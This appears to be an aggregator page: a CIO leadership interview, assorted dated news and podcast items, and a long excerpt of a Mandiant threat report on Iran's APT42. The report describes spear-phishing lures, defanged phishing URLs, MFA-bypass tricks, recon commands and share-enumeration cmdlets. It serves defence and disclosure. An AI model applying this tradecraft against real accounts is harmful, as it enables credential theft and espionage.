At enterprise scale, clarity, speed, cost, and people don’t always align. When those forces are pulling in different directions, how do you stay intentional about the moves you make?

The thing I lean on the most is to remove the definitive no’s quickly from the table. There might be different forces, some of which you know based on either context, intellect, or gut, that you’re immediately going to say no to. Remove that noise and put it to the side. Then it’s the ability to roll back through the others and draw on the proximity to your team and get their voices in the room and understand context with greater depth. You remove the noise, you draw clarity from those with deep proximity to the opportunity, you balance with enterprise context, and you make bold decisions, always centered on client outcomes. Key to all of this is that you maintain accountability for the entire decision cycle.

At this accelerated pace of decision-making, with imperfect data, it’s getting comfortable in that ambiguity but knowing that there’s no one that’s going to try harder to make the best enterprise decision. And that lets me sleep at night.

You care deeply about your people, but you also hold a high bar. How do you push your team to take ownership and deliver without stepping in and doing it for them?

One, you have to model the leadership and commitment you seek from others. If you’re asking for really high quality, you better be putting in really high quality. Whether it’s from talent management — I’m not going to ask them are you having really hard conversations with your team unless I’m having really hard conversations with them — or it’s curiosity and learning. I have to show and model that behavior.

I also think there’s something about this whole concept of teamship, and I think Keith [Ferrazzi, author and Ferrazzi Greenlight founder] does a great job of bringing light to that. We model that every single day. If I am clear on the fact that we will win or lose as a team, and not individuals, and I continue to reiterate that, not in words, but in actions, then what happens is, when I’m not there, they hold each other accountable. And they model that behavior for their team. You start going down this tree of action where everybody is cohesively holding each other accountable for both behavioral and technological outcomes. It’s magical. You’ve created a construct where people have the autonomy and desire to do great work and an accountability construct to ensure best-in-class outcomes.

It takes a long time, because if people have not been led in this manner previously, there’s a genuine lack of trust of the process and learning that is required. But I do believe deeply in the way that Keith puts it on this concept of teamship and this cohesive outcome.

As Sal Companieh’s chess analogy reveals, the modern CIO’s remit goes beyond running technology to shaping business outcomes, culture, and the future operating model of the enterprise, often without the luxury of slowing down. Her ability to play aggressively without losing sight of the human side of the board proves that, in this environment, the leaders who win aren’t just the fastest movers. They’re the ones thinking several moves ahead while bringing their people with them. For more from Companieh on leading through the tension of today’s environment, tune in to the Tech Whisperers.

See also:

Mobile Firms Refused Permission For 20m Keighley Phone Mast

Wed, 17 Jun 2026 08:25:05 +0200

Planners say proposal by mobile infrastructure company for 66-foot 5G mast in centre of market town would be ‘stark’ and ‘intrusive’ This article has been indexed from Silicon UK Read the original article: Mobile Firms Refused Permission For 20m Keighley…

The post Mobile Firms Refused Permission For 20m Keighley Phone Mast appeared first on IT Security News.

'Widow's Bay' playlist lasts nearly 10 times longer than the show

Tue, 16 Jun 2026 19:24:42 +0200

Apple Music's new "Widow's Bay" playlist lasts so long that it can outlive the entire first season several times over.

Patricia's Sunset Cocktails

Apple Music has published "Patricia's Sunset Cocktails Playlist", a collection inspired by the world of "Widow's Bay." While the playlist page doesn't prominently advertise its size, scrolling to the bottom reveals 811 songs with a total runtime of 60 hours and 32 minutes in the US version of Apple Music.

"Widow's Bay" follows a small coastal town whose residents become entangled in a series of strange events and long-buried secrets. Patricia's bar serves as one of the community's gathering places.

The playlist pulls from a wide range of artists, including David Bowie, Donna Summer, Pat Benatar, Kylie Minogue, Kim Wilde, Pulp, Talk Talk, and Erasure. The mix spans decades of pop, rock, dance, and new wave music.

Continue Reading on AppleInsider | Discuss on our Forums

FBI gives first peek inside 22,000-square-foot town it’s built for digital crime training — the ‘one of a kind’ facility has a gas station, houses, and a data center with 200 hackable servers

Tue, 16 Jun 2026 06:01:37 +0200

The FBI has built a town with homes, businesses and hackable servers to help train its cyber agents.

For conservation experts, is AI a powerful tool or dangerous shortcut?

Mon, 15 Jun 2026 17:17:01 +0200

Jeran Cloete and Dian Spear of Stellenbosch University, Jessica da Silva of the South African National Biodiversity Institute, Lavhelesani Dembe Simba of Fort Hare and Peter J Carrick at the University of Cape Town discuss AI’s use in conservation efforts.

Coffee town meets its matcha: Robots help power ex-Axon leader’s Seattle beverage startup Vale

Mon, 15 Jun 2026 16:49:40 +0200

Luke Larson is buzzing about matcha and his plans to build Vale into a Seattle-born beverage empire — think Starbucks, but make it matcha — scaling from a handful of local cafes and mobile bars to a nationwide network of thousands of automated machines. Read More

The FBI built a small town to simulate cyberattacks

Sun, 14 Jun 2026 22:47:38 +0200

Last year, the FBI opened a Cyber Range in Huntsville, Alabama, for simulating cyberattacks. Think of it sort of like the famous Hogan's Alley, but for modern digital crime training. It's a massive 22,000 square-foot replica of an entire town, complete with a convenience store, gas station, hospital, and even fully furnished houses. It's a […]

The FBI built its own replica small town to simulate real-world cyberattacks

Sat, 13 Jun 2026 13:37:04 +0200

Hidden inside a building in Alabama, the FBI has created its own small town as a dedicated cyber training ground for simulating cyberattacks. This article has been indexed from Security News | TechCrunch Read the original article: The FBI built…

The post The FBI built its own replica small town to simulate real-world cyberattacks appeared first on IT Security News.

The FBI built its own replica small town to simulate real-world cyberattacks

Sat, 13 Jun 2026 13:02:31 +0200

Hidden inside a building in Alabama, the FBI has created its own small town as a dedicated cyber training ground for simulating cyberattacks.

After a Data Center Proposal, New Jersey Town Bans Them

Fri, 12 Jun 2026 23:40:11 +0200

Residents in East Greenwich Township raised strong concerns in response to a proposal to build a data center there. Leaders adopted an ordinance prohibiting future development.

Widow’s Bay Season 2 Confirmed: Apple TV Renews Comedy Horror Series

Fri, 12 Jun 2026 18:07:11 +0200

Apple TV has renewed Widow’s Bay for a second season, giving fans another trip back to its strange, cursed island town. The comedy horror series has built strong buzz with its mix of creepy local legends, oddball humor, and Matthew Rhys as Mayor Tom Loftis. The renewal comes before the Season 1 finale, which means Apple TV is clearly confident in the show’s growing audience. Season 2 does not have a release date yet, but the story now has room to explore more secrets hiding under the surface of Widow’s Bay. Widow’s Bay Season 1 Details Episodes: 10 Genre: Comedy horror Start date: April 29, 2026 Finale date: June 17, 2026 Streaming on: Apple TV Main cast: Matthew Rhys, Kate O’Flynn, Stephen Root, Kingston Rumi Southwick, Kevin Carroll, Dale Dickey, K Callan, and Jeff Hiller https://www.youtube.com/embed/Nmc2RYm6PUE Plot Spoiler warning for Season 1 setup. Widow’s Bay follows Mayor Tom Loftis, who wants to revive a struggling island town located off the coast of New England. The town has weak phone service, no real modern comfort, and locals who believe the island is cursed. Tom wants tourists to return, and his plan works. But once outsiders arrive, the old stories begin to feel real again. The show uses that setup to mix town politics, family pressure, strange residents, and supernatural horror. Season 2 will likely go deeper into the island’s curse, the town’s buried history, and the strange events that started returning after years of silence. FAQs Is Widow’s Bay renewed for Season 2? Yes, Apple TV has renewed Widow’s Bay for a second season. When will Widow’s Bay Season 2 release? Apple TV has not announced the Season 2 release date yet. How many episodes are in Widow’s Bay Season 1? Season 1 has 10 episodes. When does Widow’s Bay Season 1 end? The Season 1 finale arrives on June 17, 2026. What genre is Widow’s Bay? It is a comedy horror series with mystery and supernatural elements. Where can you watch Widow’s Bay? You can stream Widow’s Bay on Apple TV. Apple TV costs $12.99 per month in the US. What do you plan to watch next on Apple TV? Let us know in the comments.

HPR4660: Robert A. Heinlein: The Future History, Part 1

Fri, 12 Jun 2026 02:03:36 +0200

This show has been flagged as Clean by the host.

In his early days as a writer, Heinlein wrote his stories in the context of a shared universe that he called the Future History. These were mostly short stories at first, with hte occasional novella. But they inclode some great stories.

The Future History, Part 1

One thing Heinlein became well known for was his Future History. This placed many of his stories in a common framework of a future environment, and allowed events from one story to influence events in other stories. Here is what he had to say about it, in a post I found on the Heinlein Society Facebook site:

“I never “created” or “invented” a “Future History.” On April Fool’s Day 1939 I started to write commercially; by the middle of August I had written 8 shorts & a serial. As 5 of these items were more or less to the same fictional background, I found that I was continually having to check back to keep from tripping over my own feet.

So I took an old navigation chart, about 3×4 feet, turned it over, made the time scale vertical, then set up 5 columns: stories, characters, technical data, sociological, remarks. Then I checked those first 5 stories, filled data into proper columns at the proper height for the fictional date—and continued to do this with other stories later. The chart was on the righthand wall near my elbow and was unusually messy as I never took the chart down to add to it—just reached over and scrawled on it.”

Source: https://www.facebook.com/HeinleinSociety/posts/i-never-created-or-invented-a-future-history-on-april-fools-day-1939-i-started-t/1092968002874634/

One thing that became clear as his Future History developed is that he was not looking at our future exactly. He was very clear in his mind that he was writing fiction, and not issuing prophecies. If you are reading it today, it is best to think of this as a kind of alternate timeline, and this is something that holds true through a lot of his work. Even in his later novels, which were never formally part of his Future History, he would mention events from that past group of works, which may implicitly incorporate them. But this is an area where scholars are in disagreement as to which if the later novels, if any, should be incorporated. And there were unwritten stories that appeared on the chart that would have given further background to the stories that were written. They were stories Heinlein seems to have intended to write at some point, but never got around to writing. You can get more information about this in his book Revolt in 2100.

The Future History stories were initially collected primarily in three books: The Man Who Sold the Moon (1950), The Green Hills of Earth (1951), and Revolt in 2100 (1953). Each of them fleshes out this hypothetical world in different ways. The first one, The Man Who Sold The Moon, introduces us to a businessman named D.D. Harriman, who is obsessed with going to the moon. But he thinks it should be done by private enterprise rather than by government. So he concocts a scheme to do this. He promotes a legal theory that the rights to the moon belong to the countries that it directly flies over, sort of like air rights taken to infinity. Then he uses the chaos of competing interests to throw this into the United Nations, and then gets the U.N. to give him the rights. He finally gets to launch a mission to set up a Moon base, but cannot join the expedition because the corporation considers him too valuable to risk. In a sequel story, Requiem, he does get to the moon just in time to die there. Heinlein was never above writing a tear-jerker.

Of course, the book has other stories not linked to D.D. Harriman. Heinlein’s fist story, Life-Line, is also collected here. And his second story, Let There Be Light, anticipates the development of solar power panels, but similarly to Life-Line, this earns the enmity of corporate interest, in the form of the Power Syndicate. The Roads Must Roll postulates moving roadways in the future, but the story really is about the sociology of technology in the future. And Blowups Happen, originally from 1940, anticipates nuclear fission as a power source, but it proves to be dangerous. They claim that the craters on the moon were really caused by a series of explosions to reactors that wiped out an earlier civilization. So they move the reactor into space for safety. And this feeds back into The Man Who Sold The Moon when this reactor in space blows up.

In these early stories we can already see that Heinlein has a complex view of society. In Life-Line and Let There Be Light corporate power is the villain of the story, and some of this also shows up in Blowups Happen. But in The Man Who Sold The Moon we see that private enterprise is preferred to government action. I think the way this can be reconciled is to see that Heinlein is always concerned with individual personal freedom and opposed to anything that might endanger that, whether from too much government or too powerful corporate interests.

The Green Hills of Earth contains the story of the same name, which concerns a former space engineer, Rhysling, now blinded by radiation and unemployable, who is also a poet. And one of his poems has that title. The crew of Apollo 15 named a crater on the moon “Rhysling”, and they planned to read a bit of it at the crater, but those trips could get very busy. Still, as they were getting ready to leave the moon there was this exchange. Note that Allen is the Capcom, and Scott and Jones are the astronauts :

“Allen: As the space poet Rhysling (the blind poet in Robert Heinlein’s The Green Hills of Earth) would say, we’re ready for you to “come back again to the homes of men on the cool green hills of Earth.”

[Scott – “That’s from the Green Hills of Earth. That’s one we talked about before the flight. Have you read that one?”] [Jones – “Oh, yeah! That was a favorite when I was a kid. Had you read it?”]

[Scott – “Sure. (Quoting from memory):

We pray for one last landing
on the globe that gave us birth
To rest our eyes on fleecy skies
and the cool green hills of Earth.”

Although two of the stories in this collection were older, from 1941, most of them are from 1948 and 1949. And there is a reason for that. On December 7, 1941, the United States found itself at war with Imperial Japan, and few days later Nazi Germany. Coming from a family that had fought in every American war you would expect Heinlein to get involved somehow. He could not enlist due to his medical retirement from the Navy, but since he had an engineering background so he became a civilian employee at the Philadelphia Navy Yard, where he was joined by fellow science fiction writers Isaac Asimov and L. Sprague de Camp. A nice retelling of this can be found at Kirkus Reviews, and Asimov also discusses this in his biography. The upshot is that there is a gap of about 5 years when Heinlein did not publish anything.

It is also notable that Heinlein by this point had escaped from the pulp science fiction magazines and gotten published in what were called the “slicks’, so-called because the paper they were printed on was slick and higher quality than the pulps. His stories began to be published in places like The Saturday Evening Post, Argosy Magazine, and Town & Country. And these outlets paid higher rates than the pulps, a significant matter for any writer. Heinlein always maintained that the only reason anyone would write was to make money.

And the stories were getting to be quite good as well. Delilah and the Space Rigger (1949) tells the story of a woman who joins a construction crew on a space station and faces discrimination, but wins out in the end, which was pretty progressive for the time, but not atypical for Heinlein. Space Jockey is a fairly pedestrian story about a rocket pilot dealing with his every day life. But The Long Watch is an important story to Heinlein’s view of the important things in life. A young officer is assigned to duty on the lunar base, where there are nuclear weapons stored. His superiors want to stage a coup, using those weapons, which can threaten the Earth while being beyond the reach of retaliation. The young officer sacrifices himself to prevent their plot from succeeding, and becomes recognized in a death as a great hero. And this becomes part of the background to a later juvenile novel Space Cadet, as well as being referenced occasionally in other stories, so you can see that he regarded it as an important statement. Gentlemen, Be Seated is a cute little story about a man who saves people when a leak happens in a tunnel on the Moon by plugging the leak with his rear end. The Black Pits of Luna is little thing about a boy scout who is able to rescue his little brother, but it foreshadows the Juvenile novels he later wrote.

It’s Great To Be Back! is about a couple who have moved to the Moon, but continually find fault with the living arrangements. They finally decide to go back to Earth, but discover that it was not really the place they had remembered, and they then return to the Moon, which they now realize is home. -We Also Walk Dogs is a gem of a story concerning a company called General Services that basically does things for their clients. Their advertising slogan is “Want somebody murdered? Then DON’T call General Services. But for anything else, call…. It Pays!” They deal a few different problems in this story, but the main one is the development of anti-gravity, and it features a Chinese porcelain bowl. Ordeal in Space is about a spaceman who has an accident that gives him a fear of heights and washed him out of space. But he has to face his fear when he needs to rescue a kitten from the 35th floor. One thing about Heinlein is that he was a firm and devoted cat fancier, so it no accident that a kitten is the one that has to be rescued. And the final story, Logic of Empire, he discusses the development of slavery in the Venus colony as a natural consequence of machinery being expensive and humans being cheap. And in this story there is a background reference to Nehemiah Scudder, who will soon be important in the Future History.

One of the things that is worthy of a brief discussion at this point is exemplified by the story Logic of Empire, and that is the reference to the Venus colony. We now know that Venus can best be described as hellish, with crushing air pressure and temperatures high enough to melt metals. The best designed landers can last no more than minutes before being destroyed. But this was not known when Heinlein was writing these early stories. The prevailing view at that time was that Venus was shrouded in clouds because it was very wet and swampy, so that is what Heinlein went with. Similarly his Mars had canals and was inhabited. You just have to go with it in these stories, as you have to do with so much of Golden Age science Fiction, let alone pre-Golden Age.

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ACLU Sues After Facial Recognition Falsely Identifies Florida Man As a Child Abductor

Thu, 11 Jun 2026 21:23:38 +0200

fjo3 shares a report from Reason: Police arrested a man in Florida for attempted child abduction in a town he had never visited, and the only evidence linking him to the crime was an AI facial recognition hit. Represented by the American Civil Liberties Union (ACLU), he is now suing the officers and agencies who put him through it. [...] According to a police report, facial recognition software concluded with 93 percent confidence that the suspect was Robert Dillon. [...] The ACLU is now suing the city of Jacksonville Beach, as well as the individual police officers and officials involved in the case. According to the lawsuit (PDF), the responding officer viewed security camera footage of the suspect but didn't take a copy; instead, he took pictures of the screen with his cell phone. "In the photos, the suspect image is low resolution, and the suspect's face is partially shadowed and off-axis," the lawsuit claims. When an investigator queried the facial recognition system, it was with the officer's grainy secondhand cell phone photos. [...] But as the ACLU notes, facial recognition's accuracy "depends significantly on the quality of the probe image. Lower-quality images contain less interpretable facial data, degrading the system's ability to produce a reliable template." At the very least, it requires a much better source image. Besides, no such investigative tool should form the sole basis for an arrest warrant. "If you came to me with a facial recognition hit and that was your probable cause, I would probably kick you out of my office because that's not how it works," Jacksonville Sheriff T.K. Waters told local news. (Waters is among those being sued in the ACLU lawsuit, because it was an investigator from the Jacksonville Sheriff's Office who ran the grainy photo through facial recognition and advised O'Connell it was a "93% match" to Dillon.)

Read more of this story at Slashdot.

WhatsAppening here?

Thu, 11 Jun 2026 07:08:16 +0200

This week, hosts of N2K CyberWire ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠Maria Varmazis⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠ and⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠ ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠Dave Bittner⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠ alongside ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠Joe Carrigan⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠ are discussing the latest in social engineering scams, phishing schemes, and criminal exploits that are making headlines. This week's follow-up stories involve a puppy scam, a memorable road trip, fresh eggs, chickens, and an unexpected rat encounter. Joe examines two cases highlighting the real-world financial impact of fraud, including a vendor payment scam that cost a Maine town nearly $190,000 and a report on growing state-level fraud losses. Maria discusses a highly targeted espionage campaign that maintained access to a stock exchange executive's Outlook account, while quietly exfiltrating sensitive information. Dave explores how criminals are using AI-generated deepfakes of executives to convince employees to authorize fraudulent payments. Our Catch of the Day comes from listener Piet-Auke Boekema, who uncovered a LinkedIn scammer offering to sell cybersecurity certifications without requiring the exams.

Florida lawsuit alleges wrongful arrest after police AI facial recognition error

Wed, 10 Jun 2026 18:34:37 +0200

Robert Dillon was arrested at home in Florida despite living 300 miles away, and charges were later dropped

A Florida man is suing several law enforcement agencies for his arrest and prosecution for allegedly luring a child after he was wrongly identified using faulty AI facial recognition software.

According to the Jacksonville Beach police department, an algorithm returned a 93% probability that Robert Dillon was the man caught on security cameras at a McDonald’s in the town attempting to persuade the unaccompanied girl, aged younger than 12, to leave with him.

Uncharmed: Untangling Iran's APT42 Operations

Sun, 07 Jun 2026 08:22:09 +0200

Written by: Ofir Rozmann, Asli Koksal, Adrian Hernandez, Sarah Bock, Jonathan Leathery

APT42, an Iranian state-sponsored cyber espionage actor, is using enhanced social engineering schemes to gain access to victim networks, including cloud environments. The actor is targeting Western and Middle Eastern NGOs, media organizations, academia, legal services and activists. Mandiant assesses APT42 operates on behalf of the Islamic Revolutionary Guard Corps Intelligence Organization (IRGC-IO).

APT42 was observed posing as journalists and event organizers to build trust with their victims through ongoing correspondence, and to deliver invitations to conferences or legitimate documents. These social engineering schemes enabled APT42 to harvest credentials and use them to gain initial access to cloud environments. Subsequently, the threat actor covertly exfiltrated data of strategic interest to Iran, while relying on built-in features and open-source tools to avoid detection.

In addition to cloud operations, we also outline recent malware-based APT42 operations using two custom backdoors: NICECURL and TAMECAT. These backdoors are delivered via spear phishing, providing the attackers with initial access that might be used as a command execution interface or as a jumping point to deploy additional malware.

APT42 targeting and missions are consistent with its assessed affiliation with the IRGC-IO, which is a part of the Iranian intelligence apparatus that is responsible for monitoring and preventing foreign threats to the Islamic Republic and domestic unrest.

APT42 activities overlap with the publicly reported actors CALANQUE (Google Threat Analysis Group), Charming Kitten (ClearSky and CERTFA), Mint Sandstorm/Phosphorus (Microsoft), TA453 (Proofpoint), Yellow Garuda (PwC), and ITG18 (IBM X-Force).

Figure 1: APT42 operations

Fake News, Real Credentials: Harvesting Microsoft, Yahoo, and Google Credentials

APT42 is known for its extensive credential harvesting operations that are often accompanied by tailored spear-phishing campaigns and extensive social engineering. APT42 credential harvesting operations typically include three steps, described in the Figure 2.

Figure 2: APT42 credential harvesting campaign attack lifecycle

Mandiant identified at least three clusters of infrastructure used by APT42 to harvest credentials from targets in the policy and government sectors, media organizations and journalists, and NGOs and activists. The three clusters employ similar tactics, techniques and procedures (TTPs) to target victim credentials (spear-phishing emails), but use slightly varied domains, masquerading patterns, decoys, and themes.

A full list of the infrastructure is available in the Indicators of Compromise (IOCs) section.

Cluster A: Posing as News Outlets and NGOs

Active: 2021 – today
Suspected Targeting: credentials of journalists, researchers, and geopolitical entities in regions of interest to Iran.
Masquerading as: The Washington Post (U.S.), The Economist (UK), The Jerusalem Post (IL), Khaleej Times (UAE), Azadliq (Azerbaijan), and more news outlets and NGOs. This often involves the use of typosquatted domains like washinqtonpost[.]press.

Mandiant did not observe APT42 target or compromise these organizations, but rather impersonate them.
Attack vector: Malicious links from typo-squatted domains that are masquerading as news articles likely sent via spear phishing, redirecting the user to fake Google login pages.

Figure 3: Jerusalem Post journalist warns of spear-phishing emails sent on her behalf

Cluster B: Posing as Legitimate Services

Active: 2019 – today

Targeting: individuals perceived as a threat to the Iranian regime, including researchers, journalists, NGO leaders, and human rights activists.
Masquerading as: generic login pages, file hosting services, and YouTube. The domains use TLDs like .top, .online, .site and .live, and often contain several words separated by hyphens, like panel-live-check[.]online.
Attack vector: legitimate links sent via spear phishing, posing as invitations to conferences or legitimate documents hosted on cloud infrastructure. Upon entry, the user is prompted to enter their credentials, which are sent to the attackers.

Mandiant observed several instances of APT42 using Cluster B domains to harvest credentials and host decoy files:

In March 2023, APT42 deployed the domain ksview[.]top in an attempt to redirect to honest-halcyon-fresher[.]buzz, which hosts a fake Gmail login page targeting a freelance journalist, indicating these campaigns are highly tailored to their targets.

Figure 4: Fake Gmail login page used by APT42

In March 2023, APT42 sent a spear-phishing email with a fake Google Meet invitation, allegedly sent on behalf of Mona Louri, a likely fake persona leveraged by APT42, claiming to be a human rights activist and researcher. Upon entry, the user was presented with a fake Google Meet page and asked to enter their credentials, which were subsequently sent to the attackers.

Figure 5: Twitter account of Mona Louri, a likely fake persona leveraged by APT42

The fake page was hosted on Google Sites (sites[.]google[.]com) webpage creation tool to enhance its legitimacy, and had a reference to a dedicated APT42 domain embedded in its HTML contents, as can be observed in Figure 6 and Figure 7. This activity was also publicly mentioned on Twitter.

Figure 6: Fake Google Meet page deployed by APT42

Figure 7: APT42 domain embedded in the fake Google Meet page HTML contents

From November through December 2023, APT42 targeted the media and non-profit sectors via spear-phishing emails that included the shortened link of the URL shortening service “n9[.]cl,” which redirected victims to a likely credential harvesting page mimicking Google Drive using the domain “review[.]modification-check[.]online” while others included a link to the same domain without the shortener. The actor additionally shared a benign file via Google Drive as part of this campaign.
In February 2024, Mandiant observed the APT42 domain nterview[.]site redirecting to the domain admin-stable-right[.]top, which hosted a fake Gmail login page, to target the credentials of a women’s rights activist. The domain nterview[.]site was also observed redirecting to a women’s rights-themed lure allegedly sent by “Jamileh Nedai” (possibly referring to the Iranian filmmaker and women’s rights activist).
- The lure, named “Questionnaire.pdf,” is a PDF document hosted on Dropbox with the headline “Women’s Struggles and Protest.” The document was created by “David Webb,” possibly referring to the Fox News contributor. We have no indication of this individual being targeted by APT42, but rather being spoofed by them, possibly to enhance the decoy's legitimacy.

Figure 8: APT42 lure shared via Dropbox (left) containing women’s rights-related content (right)

In March 2024, APT42 used the domain shortlinkview[.]live, which redirects to panel-view[.]live, in a campaign targeting a news editor working in a Persian-language news television channel. The final redirection hosts a fake Gmail login page.
During March 2024, APT42 also used the domain reconsider[.]site to redirect users to a decoy document hosted on Dropbox named “The Secrets of Gaza Tunnels” (titled both in Hebrew and in English), likely leveraging the Israel-Hamas war.

Figure 9: Decoy document titled “The secrets of Gaza Tunnels” used by APT42

At the same time, APT42 also used the domain reconsider[.]site to redirect users to last-check-leave[.]buzz and target Google, Microsoft, and Yahoo credentials. This effort was focused on targeting researchers and academia personnel in the U.S., Israel, and Europe.

Figure 10: Fake Yahoo and Hotmail login page used by APT42

In addition, Mandiant also observed APT42 deploy fake YouTube login pages and URL shortener pages, likely disseminated via phishing:

Figure 11: Fake YouTube login page hosted on an APT42 domain

Figure 12: Fake URL shortener page hosted on multiple APT42 domains

Cluster C: Posing as “Mailer Daemon,” URL Shortening Services and NGOs

Active: 2022 – today
Targeting: individuals and entities affiliated with various defense, foreign affairs, and academic issues in the U.S. and Israel.
- Specifically, in November 2023, Mandiant observed this cluster targeting a nuclear physics professor in a major Israeli university, by using the following phishing URL likely masquerading as a legitimate Microsoft 365 login:

hxxps://email-daemon[.]online/365[.]onmicrosofl[.]com/accountID=

Masquerading as: NGOs, “Mailer Daemon,” and Bitly URL shortening service.
Attack vector: legitimate links likely sent via spear phishing, posing as invitations to conferences or legitimate documents hosted on cloud infrastructure. Upon entry, the user is prompted to enter their credentials, which are sent to the attackers.

In these cases, Mandiant observed APT42 encode targets or lures using “1337” (leet) writing. For example, the name of Tamir Pardo (the former head of the Israeli Mossad) was represented in the url hxxps://bitly[.]org[.]il/t4m1rpa by replacing "a" with 4 and "i" with 1.

APT42 likely attempted to use lures related to the International Counter-Intelligence summit (“ICT-2023”) conducted in Israel, by deploying the following URLs:
- hxxps://bitly[.]org[.]il/J03p4y3r
- hxxps://youtransfer[.]live/ICT-2023/J03py3r

Head(er) In The Cloud: Targeting Microsoft 365 Environments

As an extension of their aforementioned credential harvesting operations, during 2022–2023, Mandiant observed APT42 exfiltrate documents of interest to Iran and sensitive information from the victims’ public cloud infrastructure. These victims were located in the U.S. and the UK in the legal services and NGO sectors. However, since the initial enabler of these operations lies with credential harvesting, which APT42 conducts worldwide, it is possible the victimology is much wider.

These operations began with enhanced social engineering schemes to gain the initial access to victim networks, often involving ongoing trust-building correspondence with the victim. Only then the desired credentials are acquired and multi-factor authentication (MFA) is bypassed, by serving a cloned website to capture the MFA token (which failed) and later by sending MFA push notifications to the victim (which succeeded).

These techniques have allowed APT42 to covertly access and compromise the victim’s Microsoft 365 environment, relying on built-in features and open-source tools to decrease their chances of being detected.

Figure 13: APT42 cloud operations attack lifecycle

APT42 cloud operations attack lifecycle can be described in details as follows:

Social engineering schemes involving decoys and trust building, which includes masquerading as legitimate NGOs and conducting ongoing correspondence with the target, sometimes lasting several weeks.
- The threat actor masqueraded as well-known international organizations in the legal and NGO fields and sent emails from domains typosquatting the original NGO domains, for example aspenlnstitute[.]org.
  - The Aspen Institute became aware of this spoofed domain and collaborated with industry partners, including blocking it in SafeBrowsing, thus protecting users of Google Chrome and additional browsers.
  - To increase their credibility, APT42 impersonated high-ranking personnel working at the aforementioned organizations when creating the email personas.
- APT42 enhanced their campaign credibility by using decoy material inviting targets to legitimate and relevant events and conferences. In one instance, the decoy material was hosted on an attacker-controlled SharePoint folder, accessible only after the victim entered their credentials. Mandiant did not identify malicious elements in the files, suggesting they were used solely to gain the victim’s trust.

Figure 14: APT42 controlled SharePoint folder containing PDF lures

Credential harvesting and bypassing MFA. Only after a certain level of trust was built with the victim, APT42 harvested the desired credentials by sending the victim a link that would redirect them to a credential harvesting site, similar to the process described in the previously discussed credential theft section.
- Mandiant observed the use of Javascript files to redirect victims from these links to ultimately serve fake Microsoft 365 login pages.
- At least once, Mandiant observed APT42 use several methods—both SharePoint login and fake LinkedIn login pages—to target multiple high-profile personnel of the victim organization during the same campaign.

Figure 15: APT42 fake LinkedIn login page

- Mandiant observed APT42 deploy two methods to bypass MFA: First, APT42 made attempts to acquire MFA tokens by using fake DUO pages, using subdomains with prefixes such as “api-[.]...” or using words like “duo”. When this failed, the actor sent authentication prompts to victims upon attempts to login, which succeeded.
  
  In a different intrusion, APT42 likely served a phishing site to capture the MFA token sent via SMS and leveraged the KMSI (Keep-me-Signed-In) feature to avoid reauthentication.
- In at least one instance, APT42 established a “persistent” login mechanism leveraging the Microsoft app password feature, likely in attempts to preserve ongoing access for future logins without the need to re-verify their identity with MFA.
  - Microsoft’s app password feature is intended to be used with applications or devices that do not support MFA, and thus generates single-use passwords that do not require MFA. The feature is not enabled by default, and can be activated manually. Once this feature is enabled, any logged in user can create app passwords.
  - APT42 leveraged the fact that the app password feature was enabled to create an app password for the compromised account. However, Mandiant has no indication that APT42 actually used it.

Figure 16: Microsoft app password settings, exploited by APT42 for continuous MFA bypass

Covert exfiltration of data from the Microsoft 365 environment, including OneDrive documents, Outlook emails, and documents of potential interest to Iran including files pertaining its foreign affairs or the Persian Gulf region.

The M365 infiltration and data exfiltration included the following stages:
- Logging in to the victim email using Thunderbird email client, whose usage was approved by the attacker altering the user permissions.
- Logging into the victim’s Citrix application and using Windows Remote Desktop Protocol (RDP). Upon entry, the attackers explored, enumerated, and staged files for exfiltration in password-protected 7-ZIP archives.
  - The attacker performed host, network, and directory reconnaissance using Windows native commands including:
    
    "whoami," "net view," "cd," "explorer," "net share," "hostname," "ls," "type," "ping," "net user," "gci," "mkdir," "notepad," "mv," "exit," "rm," "dir," and "del."

- - The attacker used PowerShell cmdlets including "set-ExecutionPolicy," "Import-Module," and "Invoke-HuntSMBShares," a cmdlet from the open-source tooling module PowerHuntShares that can identify users with excessive network share permissions.
- Searching for specific files and data of interest to Iran. For example, in one of the intrusions, APT42 searched for specific Iran-related documents with details about foreign affairs issues, as was observed on collected data from the Windows Registry Key HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths. In another intrusion, Mandiant observed APT42 browsing for files related to the Middle East as well as the Ukraine war.

Figure 17: APT42 cloud operations flow of attack

APT42 deployed multiple defense evasion techniques to minimize their intrusion footprint:

Relying on built-in features of the Microsoft 365 environment and publicly available tools. This serves as double functionality to harden attribution based on tooling and to blend in the environment, while it shows an increase in adaptability.
Clearing Google Chrome browser history after reviewing documents of interest.
Attempting (and possibly succeeding) to exfiltrate files to a OneDrive account masquerading as the victim’s organization, using the fake email address @outlook[.]com. APT42 also browsed and downloaded files from the victim’s OneDrive to disk, likely to access files of interest.
Using anonymized infrastructure to interact with the victim’s environment, including ExpressVPN nodes, Cloudflare-hosted domains, and ephemeral VPS servers.

